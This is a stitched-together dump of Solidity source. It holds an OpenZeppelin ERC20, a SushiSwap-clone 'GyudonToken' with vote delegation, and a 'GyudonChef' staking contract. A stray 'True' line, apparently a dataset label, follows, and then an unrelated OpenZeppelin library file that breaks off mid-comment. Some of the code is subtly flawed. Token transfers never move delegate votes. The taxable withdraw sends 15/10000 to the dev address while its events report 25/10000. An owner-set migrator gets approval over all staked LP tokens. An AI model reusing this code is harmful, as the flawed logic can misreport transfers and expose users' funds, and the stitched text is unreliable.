{ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity ^0.6.5; // GyudonToken with Governance. contract GyudonToken is ERC20("Gyudon.farm", "GYUD"), Ownable { // gyudon is an exact copy of SUSHI using SafeMath for uint256; function transfer(address recipient, uint256 amount) public virtual override returns (bool) { return super.transfer(recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { return super.transferFrom(sender, recipient, amount); } /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (GyudonChef). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GYUD::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "GYUD::delegateBySig: invalid nonce"); require(now <= expiry, "GYUD::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "GYUD::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying GYUDs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "GYUD::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // File: contracts/GyudonChef.sol pragma solidity ^0.6.5; interface IMigratorChef { // Perform LP token migration from legacy UniswapV2 to GyudonSwap. // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. // Return the new LP token address. // // XXX Migrator must have allowance access to UniswapV2 LP tokens. // GyudonSwap must mint EXACTLY the same amount of GyudonSwap LP tokens or // else something bad will happen. Traditional UniswapV2 does not // do that so be careful! function migrate(IERC20 token) external returns (IERC20); } // GyudonChef is an exact copy of SushiSwap // we have commented an few lines to remove the dev fund // the rest is exactly the same // GyudonChef is the master of Gyudon. He can make Gyudon and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once GYUD is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract GyudonChef is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of GYUDs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accGyudonPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accGyudonPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. GYUDs to distribute per block. uint256 lastRewardBlock; // Last block number that GYUDs distribution occurs. uint256 accGyudonPerShare; // Accumulated GYUDs per share, times 1e12. See below. bool taxable; // Accumulated GYUDs per share, times 1e12. See below. } // The GYUD TOKEN GyudonToken public gyudon; address private devaddr; // Block number when bonus GYUD period ends. uint256 public bonusEndBlock; // GYUD tokens created per block. uint256 public gyudonPerBlock; // Bonus muliplier for early gyudon makers. uint256 public constant BONUS_MULTIPLIER = 1; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when GYUD mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( GyudonToken _gyudon, address _devaddr, uint256 _gyudonPerBlock, uint256 _startBlock, uint256 _bonusEndBlock ) public { gyudon = _gyudon; devaddr = _devaddr; gyudonPerBlock = _gyudonPerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, bool _taxable, uint256 _startBlock) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = _startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accGyudonPerShare: 0, taxable: _taxable })); } // Update the given pool's GYUD allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate, bool _taxable, uint256 _startBlock) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; poolInfo[_pid].taxable = _taxable; poolInfo[_pid].lastRewardBlock = _startBlock; } function setBonusEndBlock(uint256 _bonusEndBlock) public onlyOwner { bonusEndBlock = _bonusEndBlock; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } else if (_from >= bonusEndBlock) { return _to.sub(_from); } else { return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } // View function to see pending GYUDs on frontend. function pendingGyudon(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accGyudonPerShare = pool.accGyudonPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 gyudonReward = multiplier.mul(gyudonPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accGyudonPerShare = accGyudonPerShare.add(gyudonReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accGyudonPerShare).div(1e12).sub(user.rewardDebt); } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 gyudonReward = multiplier.mul(gyudonPerBlock).mul(pool.allocPoint).div(totalAllocPoint); gyudon.mint(address(this), gyudonReward); pool.accGyudonPerShare = pool.accGyudonPerShare.add(gyudonReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to GyudonChef for GYUD allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accGyudonPerShare).div(1e12).sub(user.rewardDebt); safeGyudonTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accGyudonPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from GyudonChef. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accGyudonPerShare).div(1e12).sub(user.rewardDebt); safeGyudonTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accGyudonPerShare).div(1e12); if (pool.taxable) { pool.lpToken.safeTransfer(address(devaddr), _amount.mul(15).div(10000)); pool.lpToken.safeTransfer(address(msg.sender), _amount.sub(_amount.mul(15).div(10000))); emit Withdraw(devaddr, _pid, _amount.mul(25).div(10000)); emit Withdraw(msg.sender, _pid, _amount.sub(_amount.mul(25).div(10000))); } else { pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe gyudon transfer function, just in case if rounding error causes pool to not have enough GYUDs. function safeGyudonTransfer(address _to, uint256 _amount) internal { uint256 gyudonBal = gyudon.balanceOf(address(this)); if (_amount > gyudonBal) { gyudon.transfer(_to, gyudonBal); } else { gyudon.transfer(_to, _amount); } } }

True

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/** *Submitted for verification at Etherscan.io on 2022-02-28 */ // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * 